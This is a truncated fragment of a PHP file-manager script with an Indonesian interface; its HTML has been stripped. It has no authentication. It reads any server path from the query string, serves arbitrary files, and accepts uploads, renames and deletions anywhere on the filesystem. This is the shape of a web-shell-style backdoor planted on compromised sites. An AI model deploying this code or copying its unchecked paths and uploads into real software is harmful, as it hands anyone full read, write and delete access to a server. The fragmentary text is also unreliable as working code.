= 1073741824) { return number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { return number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { return number_format($bytes / 1024, 2) . ' KB'; } else { return $bytes . ' B'; } } function getIcon($path) { return is_dir($path) ? '📁' : '📄'; } $currentPath = isset($_GET['d']) ? $_GET['d'] : getcwd(); if (!is_dir($currentPath)) { $currentPath = getcwd(); } if (isset($_POST['upload'])) { $targetFile = $currentPath . DIRECTORY_SEPARATOR . $_FILES['uploaded_file']['name']; if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $targetFile)) { echo ""; } else { echo ""; } } if (isset($_POST['create_folder'])) { $folderName = $_POST['folder_name']; if ($folderName && mkdir($currentPath . DIRECTORY_SEPARATOR . $folderName)) { echo ""; } else { echo ""; } } if (isset($_POST['rename'])) { $oldPath = $_POST['rename_path']; $newName = $_POST['new_name']; $newPath = dirname($oldPath) . DIRECTORY_SEPARATOR . $newName; if (rename($oldPath, $newPath)) { echo ""; } else { echo ""; } } if (isset($_POST['delete_path'])) { $deletePath = $_POST['delete_path']; if (is_dir($deletePath)) { rmdir($deletePath); } else { unlink($deletePath); } echo ""; } if (isset($_GET['view'])) { $viewPath = $_GET['view']; if (is_file($viewPath)) { header('Content-Type: text/plain'); readfile($viewPath); exit; } } ?> Pengelola Berkas

Pengelola Berkas 📂

' . x($dir) . ' / '; } ?>
"; } } ?>
Nama Permission Ukuran Aksi
$icon $file $permissions $size
"; if (is_file($fullPath)) { echo ""; } echo "